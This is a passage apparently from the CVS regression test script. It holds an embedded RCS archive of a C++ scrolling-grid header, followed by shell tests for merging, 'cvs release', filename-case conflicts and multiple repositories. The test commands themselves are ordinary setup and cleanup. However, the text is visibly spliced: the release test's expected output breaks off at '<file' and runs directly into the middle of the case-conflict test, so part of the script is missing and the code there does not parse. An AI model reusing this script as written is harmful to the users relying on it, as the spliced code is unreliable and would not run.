\n/*---------------------------------------------------------------------------\nFUNCTION : P A I N T G R I D M A R K E R \nDESCRIPTION : given a position will put the string on the display\n\nARGUMENTS : name :\n yPos\n - were it goes on the Y-axis\n\n gridMarkerPtr\n - what it is\n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void paintGridMarker( uint16 yPos, char *gridMarkerPtr );\n\n#if defined _WINDOWS\n/*---------------------------------------------------------------------------\nFUNCTION : PAINTHORIZONTALLINES\nDESCRIPTION : responsible for painting the grids horizontal lines \nARGUMENTS : pRectToDraw pointer to rectangle that needs refreshing.\n in viewport coords\n pDC pointer to device context to use\n \nRETURN : None\nNOTES :\n---------------------------------------------------------------------------*/\n void paintHorizontalLines(RectCoords* pRectToDraw, CDC* pDC );\n#else\n/*---------------------------------------------------------------------------\nFUNCTION : PAINTHORIZONTALLINES\nDESCRIPTION : responsible for painting the grids horizontal lines \nARGUMENTS : name: xStart\n - the starting X co-ordinate for the horizontal line\n xEnd\n - the ending X co-ordinate for the horizontal line\n \nRETURN : None\nNOTES : Remember lines are drawn from origin. The origin in a\n horizontal viewport will be the top. \n---------------------------------------------------------------------------*/\n void paintHorizontalLines( uint16 xStart, uint16 xEnd );\n#endif\n\n#if defined _WINDOWS\n/*---------------------------------------------------------------------------\nFUNCTION : PAINTVERTICALLINES\nDESCRIPTION : responsible for painting the grids vertical lines \nARGUMENTS : pRectToDraw pointer to rectangle that needs refreshing.\n in viewport coords\n offset offset from rhs that rightmost line would be \n drawn if rectangle included whole viewport\n pDC pointer to device context to use\nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void paintVerticalLines( RectCoords* pRectToDraw, uint16 offset,\n CDC* pDC );\n#else\n/*---------------------------------------------------------------------------\nFUNCTION : PAINTVERTICALLINES\nDESCRIPTION : responsible for painting the grids vertical lines \nARGUMENTS : name : yStart\n - the starting Y co-ordinate for the vertical line\n yEnd\n - the ending Y co-ordinate for the vertical line\n offset\n - a starting point offset that determines at what X\n position the first line will be drawn\n\n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void paintVerticalLines( uint16 yStart, uint16 yEnd, uint16 offset );\n#endif\n\n#if defined _WINDOWS\n/*---------------------------------------------------------------------------\nFUNCTION : PAINTVERTICALLINE\nDESCRIPTION : paints one line at the position specified, and length\nARGUMENTS : name : yStart\n - the starting point on the y axis for the line\n yEnd\n - the end point on the y axis for the line\n xPosition\n - The horizontal offset from the start of the viewport\n pDC pointer to device context to use\n \nRETURN : None\nNOTES : There is not an equivalent horizontal method as yet. This\n is a seperate method because the service is useful to a\n derivation of this class\n---------------------------------------------------------------------------*/\n void paintVerticalLine( uint16 yStart, uint16 yEnd\n , uint16 xPosition, CDC *pDC );\n#else\n/*---------------------------------------------------------------------------\nFUNCTION : PAINTVERTICALLINE\nDESCRIPTION : paints one line at the position specified, and length\nARGUMENTS : name : yStart\n - the starting point on the y axis for the line\n yEnd\n - the end point on the y axis for the line\n xPosition\n - The horizontal offset from the start of the viewport\n \nRETURN : None\nNOTES : There is not an equivalent horizontal method as yet. This\n is a seperate method because the service is useful to a\n derivation of this class\n---------------------------------------------------------------------------*/\n void paintVerticalLine( uint16 yStart, uint16 yEnd\n , uint16 xPosition );\n#endif\n\n/*---------------------------------------------------------------------------\nINLINE FUNCTION : VERTICALSPACING\nNOTES : Description at the end of the file\n---------------------------------------------------------------------------*/\n uint16 verticalSpacing( void );\n\n\n // Position in viewport that we are now writing to if going forwards\n // Note that if this is greater than viewport length then we have\n // just scrolled and value must be adjusted before use.\n sint16 forwardsOutputPosition;\n \n // Position in viewport that we are now writing to if going backwards\n // Note that if this is less than zero then we have\n // just scrolled and value must be adjusted before use.\n sint16 backwardsOutputPosition;\n\n // position in grid cycle of forwards output position.\n // if zero then it is time to output a grid line\n sint16 forwardsIntervalCount;\n\n // position in grid cycle of forwards output position.\n // if zero then it is time to output a grid line\n sint16 backwardsIntervalCount;\n \n uint32 lastUpdateTimestamp;\n uint32 timeBase; // ticks per pixel\n uint16 currentOutputPosition;\n uint16 gridTimestampSpacing;\n uint16 intervalCount;\n uint16 horizontalTotal;\n uint16 vSpacing;\n#if defined PRINTING_SUPPORT\n uint16 numberOfGridMarkersPrinted;\n#endif\n bool firstTime; // indicates first time through\n bool dateMarker;\n\n GkiLineType lineType;\n GkiColour gridColour;\n\n #if defined _WINDOWS\n uint16 ticksPerSec; // number of time ticks per second\n uint16 vSpacingMin; // minimum pixels per division along time axis \n CPen *pPen; // the pen to use for drawing in windows\n #endif\n\n};\n\n\n/*****************************************************************************\n I N L I N E F U N C T I O N S \n*****************************************************************************/\n\n/*---------------------------------------------------------------------------\nFUNCTION : HORIZONTALLINES\nDESCRIPTION : supplies the number of horizontal lines in the grid\nARGUMENTS : name : \n \nRETURN : \nNOTES : \n---------------------------------------------------------------------------*/\ninline uint16 ScrollingGrid::horizontalLines( void )\n{\n return( horizontalTotal );\n}\n/*---------------------------------------------------------------------------\nFUNCTION : VERTICALSPACING\nDESCRIPTION : returns the distance between adjacent vertical lines\nARGUMENTS : name : \n \nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\ninline uint16 ScrollingGrid::verticalSpacing( void )\n{\n return( vSpacing );\n}\n\n#endif\n@\n\n\n1.1.2.1\nlog\n@DEV1194:DS4 Provision of major and minor grid lines\n@\ntext\n@d1 1\na1 1\n/* \\$\"\"Header: /usr/local/repository/cmnsrc/review/src/sgrid.h,v 1.1 1997/04/02 11:20:05 colinl Exp \\$ */\nd3 1\na3 12\n * \\$\"\"Log: sgrid.h,v \\$\n * Revision 1.1 1997/04/02 11:20:05 colinl\n * Project: DEV1175\n * DCN:\n * Tested By: \n * Reviewed By:\n * Reason for Change: Initial Revision of all files\n *\n * Design Change Details:\n *\n * Implications:\n *\nd58 6\na63 5\nARGUMENTS : name : majorColour colour for major grid lines\n minorColour colour for minor grid lines\n sgLineType line type for minor grid lines\n yMajorGridLines number of major y lines on grid\n yMinorGridLines number of major y lines on grid\nd77 2\na78 3\n ScrollingGrid( GkiColour majorColour, GkiColour minorColour, \n GkiLineType sgLineType, \n uint16 yMajorGridLines, uint16 yMinorGridLines,\na137 17\nFUNCTION : DrawHorizontalGridLines\n\nDESCRIPTION : Draws major or minor grid lines\nARGUMENTS : pDC device context\n pPen pen to use\n numLines total lines required\n yLow, yHigh, xLow, xHigh rectangle to draw in\n yMax max y value\nRETURN : None\nNOTES : \n---------------------------------------------------------------------------*/\n void DrawHorizontalGridLines( CDC* pDC, CPen* pPen, \n uint16 numLines,\n uint16 yLow, uint16 yHigh, uint16 xLow, uint16 xHigh, \n uint16 yMax );\n\n/*---------------------------------------------------------------------------\nd148 6\nd448 1\na448 2\n uint16 m_yMajorGridLines;\n uint16 m_yMinorGridLines;\nd456 2\na457 3\n GkiLineType lineType; // line type for minor grid lines\n GkiColour m_majorColour;\n GkiColour m_minorColour;\nd462 1\na462 2\n CPen *pMajorPen; // pen to use for drawing major grid lines\n CPen *pMinorPen; // pen to use for drawing minor grid lines\nd472 12\n@\" > diffmerge2/sgrid.h,v\n\n\t # We have to put the RCS file in the repository by hand for\n\t # this test:\n\t mkdir ${CVSROOT_DIRNAME}/diffmerge2\n\t cp diffmerge2/sgrid.h,v ${CVSROOT_DIRNAME}/diffmerge2/sgrid.h,v\n\t rm -rf diffmerge2\n\t dotest diffmerge2_co \\\n\t \"${testcvs} co diffmerge2\" \"${DOTSTAR}U ${DOTSTAR}\"\n\t cd diffmerge2\n\t dotest diffmerge2_update \\\n\t \"${testcvs} update -j Review_Phase_2_Enhancements sgrid.h\" \\\n\t \"${DOTSTAR}erging ${DOTSTAR}\"\n\t # This is the one that counts -- there should be no output:\n\t dotest diffmerge2_diff \\\n\t \"${testcvs} diff -r Review_V1p3 sgrid.h\" ''\n\n\t cd ..\n\t rm -rf diffmerge2\n\t rm -rf ${CVSROOT_DIRNAME}/diffmerge2\n\t ;;\n\n\trelease)\n\t # Tests of \"cvs release\", particularly multiple arguments.\n\t # Other CVS release tests:\n\t # info-cleanup-0 for \"cvs -n release\".\n\t # ignore-193 for the text of the question that cvs release asks.\n\t # Also for interactions with cvsignore.\n\t # basicc: \"-d .\", global -Q, no arguments (is a noop),\n\t # \"cvs release\" without -d, multiple arguments.\n\t # dirs-4: repository directory has been deleted.\n\t # modules2-6: multiple arguments.\n\n\t # First the usual setup; create a directory first-dir.\n\t mkdir 1; cd 1\n\t dotest release-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest release-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\t mkdir dir1\n\t dotest release-3 \"${testcvs} add dir1\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir1 added to the repository\"\n\t mkdir dir2\n\t dotest release-4 \"${testcvs} add dir2\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir2 added to the repository\"\n cd dir2\n\t mkdir dir3\n\t dotest release-5 \"${testcvs} add dir3\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir2/dir3 added to the repository\"\n\n cd ../..\n\t dotest release-6 \"${testcvs} release -d first-dir/dir2/dir3 first-dir/dir1\" \\\n\"You have .0. altered files in this repository.\nAre you sure you want to release (and delete) directory .first-dir/dir2/dir3.: \\\nYou have .0. altered files in this repository.\nAre you sure you want to release (and delete) directory .first-dir/dir1.: \" <file\n\t echo FiLe >FiLe\n\t if cmp file FiLe >/dev/null; then\n\t client_sensitive=false\n\t else\n\t client_sensitive=:\n\t fi\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost 'echo file >file'\n\t $CVS_RSH $remotehost 'echo FiLe >FiLe'\n\t if $CVS_RSH $remotehost 'cmp file FiLe >/dev/null'; then\n\t server_sensitive=false\n\t else\n\t server_sensitive=:\n\t fi\n\t else\n\t server_sensitive=$client_sensitive\n\t fi\n\n\t # The first test (recase-1 & recase-2) is for a remove of a file then\n\t # a readd in a different case.\n\t mkdir $CVSROOT_DIRNAME/first-dir\n\t dotest recase-init-1 \"$testcvs -Q co first-dir\"\t\n\t cd first-dir\n\n\t echo this file has no content >file\n\t dotest recase-init-2 \"$testcvs -Q add file\"\n\t dotest recase-init-3 \"$testcvs -Q ci -madd\" \\\n\"RCS file: $CVSROOT_DIRNAME/first-dir/file,v\ndone\nChecking in file;\n$CVSROOT_DIRNAME/first-dir/file,v <-- file\ninitial revision: 1\\.1\ndone\"\n\t dotest recase-init-4 \"$testcvs -Q tag first\"\n\n\t # Now remove the file.\n\t dotest recase-init-5 \"$testcvs -Q rm -f file\"\n\t dotest recase-init-6 \"$testcvs -Q ci -mrm\" \\\n\"Removing file;\n$CVSROOT_DIRNAME/first-dir/file,v <-- file\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # Now the test - readd in a different case.\n\t echo this file needs some content >FiLe\n\t if $server_sensitive; then\n\t dotest recase-1ss \"$testcvs add FiLe\" \\\n\"$PROG add: scheduling file \\`FiLe' for addition\n$PROG add: use '$PROG commit' to add this file permanently\"\n\t dotest recase-2ss \"$testcvs -q ci -mrecase\" \\\n\"RCS file: $CVSROOT_DIRNAME/first-dir/FiLe,v\ndone\nChecking in FiLe;\n$CVSROOT_DIRNAME/first-dir/FiLe,v <-- FiLe\ninitial revision: 1\\.1\ndone\"\n\t else # server insensitive\n\t dotest recase-1si \"$testcvs add FiLe\" \\\n\"$PROG add: Re-adding file \\`FiLe' (in place of dead revision 1\\.2)\\.\n$PROG add: use '$PROG commit' to add this file permanently\"\n\t dotest recase-2si \"$testcvs -q ci -mrecase\" \\\n\"Checking in FiLe;\n$CVSROOT_DIRNAME/first-dir/FiLe,v <-- FiLe\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t fi\n\n\t # Now verify that a checkout will still work\n\t cd ../..\n\t mkdir 2; cd 2\n\t dotest recase-3 \"$testcvs -q co first-dir\" \\\n\"U first-dir/FiLe\"\n\n\t cd first-dir\n\t # Prove that we can still get status and log information on\n\t # conflicting case files (1 in Attic, one in parent).\n\t if $remote; then\n\t if $client_sensitive; then\n\t file=file\n\t fIlE=fIlE\n\t else # client insensitive\n\t # Because FiLe is present on a case insensitive client, it is the\n\t # only one ever found and queried or altered.\n\t file=FiLe\n\t fIlE=FiLe\n\t fi\n\t else # ! $remote\n\t file=file\n\t fIlE=fIlE\n\t fi\n\t if $server_sensitive; then\n\t if $client_sensitive; then\n\t # Client finds Entry only for FiLe. Others returned by server.\n\t dotest recase-4sscs \"$testcvs status file\" \\\n\"===================================================================\nFile: no file file\t\tStatus: Up-to-date\n\n Working revision:\tNo entry for file\n Repository revision:\t1\\.2\t$CVSROOT_DIRNAME/first-dir/Attic/file,v\"\n\t dotest recase-5sscs \"$testcvs log file\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/Attic/file,v\nWorking file: file\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tfirst: 1\\.1\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: $username; state: dead; lines: +0 -0\nrm\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nadd\n=============================================================================\"\n\t dotest recase-6sscs \"$testcvs status FiLe\" \\\n\"===================================================================\nFile: FiLe \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t$CVSROOT_DIRNAME/first-dir/FiLe,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest recase-7sscs \"$testcvs log FiLe\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/FiLe,v\nWorking file: FiLe\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nrecase\n=============================================================================\"\n\t else # server sensitive && client insensitive\n\t # Client finds same Entry for file & FiLe.\n\t dotest recase-4ssci \"$testcvs status file\" \\\n\"===================================================================\nFile: FiLe \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t$CVSROOT_DIRNAME/first-dir/FiLe,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest recase-5ssci \"$testcvs log file\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/FiLe,v\nWorking file: FiLe\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nrecase\n=============================================================================\"\n\t dotest recase-6ss \"$testcvs status FiLe\" \\\n\"===================================================================\nFile: FiLe \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t$CVSROOT_DIRNAME/first-dir/FiLe,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest recase-7ss \"$testcvs log FiLe\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/FiLe,v\nWorking file: FiLe\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nrecase\n=============================================================================\"\n\t fi\n\t else # server insensitive\n\t # There is only one archive when the server is insensitive, but the\n\t # printed file/archive name can vary.\n\t dotest recase-4si \"$testcvs status file\" \\\n\"===================================================================\nFile: $file \tStatus: Up-to-date\n\n Working revision:\t1\\.3.*\n Repository revision:\t1\\.3\t$CVSROOT_DIRNAME/first-dir/$file,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest recase-5si \"$testcvs log file\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/$file,v\nWorking file: $file\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tfirst: 1\\.1\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 1\\.3\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp; lines: +1 -1\nrecase\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: $username; state: dead; lines: +0 -0\nrm\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nadd\n=============================================================================\"\n\t dotest recase-6si \"$testcvs status FiLe\" \\\n\"===================================================================\nFile: FiLe \tStatus: Up-to-date\n\n Working revision:\t1\\.3.*\n Repository revision:\t1\\.3\t$CVSROOT_DIRNAME/first-dir/FiLe,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest recase-7si \"$testcvs log FiLe\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/FiLe,v\nWorking file: FiLe\nhead: 1\\.3\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tfirst: 1\\.1\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 1\\.3\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp; lines: +1 -1\nrecase\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: $username; state: dead; lines: +0 -0\nrm\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nadd\n=============================================================================\"\n\t fi\n\n\t # And when the file does not exist on the client, we go with the\n\t # client Entries match.\n\t if $client_sensitive && $server_sensitive; then\n\t dotest recase-8sscs \"$testcvs status fIlE\" \\\n\"$PROG status: nothing known about fIlE\n===================================================================\nFile: no file fIlE\t\tStatus: Unknown\n\n Working revision:\tNo entry for fIlE\n Repository revision:\tNo revision control file\"\n\t else # !$client_sensitive || !$server_sensitive\n\t dotest recase-8anyi \"$testcvs status fIlE\" \\\n\"===================================================================\nFile: $fIlE \tStatus: Up-to-date\n\n Working revision:\t1\\.[0-9]*.*\n Repository revision:\t1\\.[0-9]*\t$CVSROOT_DIRNAME/first-dir/$fIlE,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t fi\n\n\t # and an update\n\t if $server_sensitive; then\n\t dotest recase-9ss \"$testcvs -q up -rfirst\" \\\n\"$PROG update: FiLe is no longer in the repository\nU file\"\n\n\t if $client_sensitive; then\n\t dotest recase-10sscs \"$testcvs -q up -A\" \\\n\"U FiLe\n$PROG update: file is no longer in the repository\"\n\t else # client insensitive\n\t # FIXCVS: This should remove the offending file first.\n\t dotest_fail recase-10ssci \"$testcvs -q up -A\" \\\n\"$PROG update: move away \\./FiLe; it is in the way\nC FiLe\n$PROG update: file is no longer in the repository\"\n\n\t cd ..\n\t rm -r first-dir\n\t dotest recase-11ssci \"$testcvs -q co first-dir\" \\\n\"U first-dir/FiLe\"\n\t cd first-dir\n\t fi\n\n\t #\n\t # See what happens when cased names clash.\n\t #\n\n\t # Copy the archive\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"cp $CVSROOT_DIRNAME/first-dir/FiLe,v \\\n\t\t$CVSROOT_DIRNAME/first-dir/FILE,v\"\n\t else\n\t cp $CVSROOT_DIRNAME/first-dir/FiLe,v \\\n\t\t$CVSROOT_DIRNAME/first-dir/FILE,v\n\t fi\n\n\t if $client_sensitive; then\n\t dotest recase-12sscs \"$testcvs -q up\" \"U FILE\"\n\t else # client insensitive\n\t dotest_fail recase-12ssci \"$testcvs -q up\" \\\n\"$PROG update: move away \\./FILE; it is in the way\nC FILE\"\n\t fi\n\t else # server insensitive\n\t dotest recase-9si \"$testcvs -q up -rfirst\" \"U FiLe\"\n\t dotest recase-10si \"$testcvs -q up -A\" \"U FiLe\"\n\t fi\n\n\t # Prove that we can still get status and log information on\n\t # conflicting case files (1 in Attic, two in parent).\n\t if $server_sensitive; then\n\t if $client_sensitive; then\n\t # Client finds Entry only for FiLe. Others returned by server.\n\t dotest recase-13sscs \"$testcvs status file\" \\\n\"===================================================================\nFile: no file file\t\tStatus: Up-to-date\n\n Working revision:\tNo entry for file\n Repository revision:\t1\\.2\t$CVSROOT_DIRNAME/first-dir/Attic/file,v\"\n\t dotest recase-14sscs \"$testcvs log file\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/Attic/file,v\nWorking file: file\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tfirst: 1\\.1\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: $username; state: dead; lines: +0 -0\nrm\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nadd\n=============================================================================\"\n\t dotest recase-15sscs \"$testcvs status FiLe\" \\\n\"===================================================================\nFile: FiLe \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t$CVSROOT_DIRNAME/first-dir/FiLe,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest recase-16sscs \"$testcvs log FiLe\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/FiLe,v\nWorking file: FiLe\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nrecase\n=============================================================================\"\n\t dotest recase-17sscs \"$testcvs status FILE\" \\\n\"===================================================================\nFile: FILE \tStatus: Up-to-date\n\n Working revision:\t1.1.*\n Repository revision:\t1.1\t${CVSROOT_DIRNAME}/first-dir/FILE,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest recase-18sscs \"$testcvs log FILE\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/FILE,v\nWorking file: FILE\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nrecase\n=============================================================================\"\n\t else # $server_sensitive && !$client_sensitive\n\t # Client finds same Entry for file & FiLe.\n\t dotest recase-13ssci \"$testcvs status file\" \\\n\"===================================================================\nFile: FiLe \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t$CVSROOT_DIRNAME/first-dir/FiLe,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest recase-16ssci \"$testcvs log FiLe\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/FiLe,v\nWorking file: FiLe\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nrecase\n=============================================================================\"\n\t dotest recase-17ssci \"$testcvs status FILE\" \\\n\"===================================================================\nFile: FiLe \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t$CVSROOT_DIRNAME/first-dir/FiLe,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest recase-18ssci \"$testcvs log FILE\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/first-dir/FiLe,v\nWorking file: FiLe\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nrecase\n=============================================================================\"\n\t fi\n\t else # !$server_sensitive\n\t # Skip these when the server is case insensitive - nothing\n\t # has changed since recase-[4-7]si\n\t :\n\t fi\n\n\t if $client_sensitive && $server_sensitive; then\n\t dotest recase-19sscs \"$testcvs status fIlE\" \\\n\"$PROG status: nothing known about fIlE\n===================================================================\nFile: no file fIlE\t\tStatus: Unknown\n\n Working revision:\tNo entry for fIlE\n Repository revision:\tNo revision control file\"\n\t else # !$client_sensitive || !$server_sensitive\n\t dotest recase-19anyi \"$testcvs status fIlE\" \\\n\"===================================================================\nFile: $fIlE \tStatus: Up-to-date\n\n Working revision:\t1\\.[0-9]*.*\n Repository revision:\t1\\.[0-9]*\t$CVSROOT_DIRNAME/first-dir/$fIlE,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t fi\n\n\t # And last but not least, prove that a checkout is still possible.\n\t cd ../..\n\t mkdir 3; cd 3\n\t if $server_sensitive; then\n\t if $client_sensitive; then\n\t dotest recase-20sscs \"$testcvs -q co first-dir\" \\\n\"U first-dir/FILE\nU first-dir/FiLe\"\n\t else # $server_senstive && !$client_sensitive\n\t dotest_fail recase-20ssci \"$testcvs -q co first-dir\" \\\n\"U first-dir/FILE\n$PROG checkout: move away first-dir/FiLe; it is in the way\nC first-dir/FiLe\"\n\t fi\n\t else # !$server_sensitive\n\t # Skip these since nothing has changed.\n\t :\n\t fi\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ..\n\t rm -r 1 2 3\n\t if $server_sensitive && test -n \"$remotehost\"; then\n\t # It is necessary to remove one of the case-conflicted files before\n\t # recursively removing the rest under Cygwin on a Samba share or\n\t # Samba returns a permission denied error due to its case\n\t # confusion.\n\t $CVS_RSH $remotehost \"rm -f $CVSROOT_DIRNAME/first-dir/FILE,v\"\n\t fi\n\t rm -rf $CVSROOT_DIRNAME/first-dir\n\t ;;\n\n\n\n\tmultiroot)\n\t #\n\t # set up two repositories\n\t #\n\n\t CVSROOT1_DIRNAME=${TESTDIR}/root1\n\t CVSROOT2_DIRNAME=${TESTDIR}/root2\n\t CVSROOT1=`newroot $CVSROOT1_DIRNAME`\n\t CVSROOT2=`newroot $CVSROOT2_DIRNAME`\n\t testcvs1=\"${testcvs} -d ${CVSROOT1}\"\n\t testcvs2=\"${testcvs} -d ${CVSROOT2}\"\n\n\t dotest multiroot-setup-1 \"mkdir $CVSROOT1_DIRNAME $CVSROOT2_DIRNAME\"\n\t dotest multiroot-setup-2 \"$testcvs -d$CVSROOT1_DIRNAME init\"\n\t dotest multiroot-setup-3 \"$testcvs -d$CVSROOT2_DIRNAME init\"\n\n\t #\n\t # create some directories in root1\n\t #\n\t mkdir 1; cd 1\n\t dotest multiroot-setup-4 \"${testcvs1} co -l .\" \\\n\"${PROG} checkout: Updating .\"\n\t mkdir mod1-1 mod1-2\n\t dotest multiroot-setup-5 \"${testcvs1} add mod1-1 mod1-2\" \\\n\"Directory ${CVSROOT1_DIRNAME}/mod1-1 added to the repository\nDirectory ${CVSROOT1_DIRNAME}/mod1-2 added to the repository\"\n\t echo file1-1 > mod1-1/file1-1\n\t echo file1-2 > mod1-2/file1-2\n\t dotest multiroot-setup-6 \"${testcvs1} add mod1-1/file1-1 mod1-2/file1-2\" \\\n\"${PROG} add: scheduling file .mod1-1/file1-1. for addition\n${PROG} add: scheduling file .mod1-2/file1-2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest multiroot-setup-7 \"${testcvs1} commit -m is\" \\\n\"${PROG} [a-z]*: Examining \\.\n${PROG} [a-z]*: Examining mod1-1\n${PROG} [a-z]*: Examining mod1-2\nRCS file: ${CVSROOT1_DIRNAME}/mod1-1/file1-1,v\ndone\nChecking in mod1-1/file1-1;\n${CVSROOT1_DIRNAME}/mod1-1/file1-1,v <-- file1-1\ninitial revision: 1.1\ndone\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/file1-2,v\ndone\nChecking in mod1-2/file1-2;\n${CVSROOT1_DIRNAME}/mod1-2/file1-2,v <-- file1-2\ninitial revision: 1.1\ndone\"\n\t cd ..\n\t rm -rf 1\n\n\t #\n\t # create some directories in root2\n\t #\n\t mkdir 1; cd 1\n\t dotest multiroot-setup-8 \"${testcvs2} co -l .\" \\\n\"${PROG} checkout: Updating .\"\n\t mkdir mod2-1 mod2-2\n\t dotest multiroot-setup-9 \"${testcvs2} add mod2-1 mod2-2\" \\\n\"Directory ${CVSROOT2_DIRNAME}/mod2-1 added to the repository\nDirectory ${CVSROOT2_DIRNAME}/mod2-2 added to the repository\"\n\t echo file2-1 > mod2-1/file2-1\n\t echo file2-2 > mod2-2/file2-2\n\t dotest multiroot-setup-6 \"${testcvs2} add mod2-1/file2-1 mod2-2/file2-2\" \\\n\"${PROG} add: scheduling file .mod2-1/file2-1. for addition\n${PROG} add: scheduling file .mod2-2/file2-2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest multiroot-setup-10 \"${testcvs2} commit -m anyone\" \\\n\"${PROG} [a-z]*: Examining \\.\n${PROG} [a-z]*: Examining mod2-1\n${PROG} [a-z]*: Examining mod2-2\nRCS file: ${CVSROOT2_DIRNAME}/mod2-1/file2-1,v\ndone\nChecking in 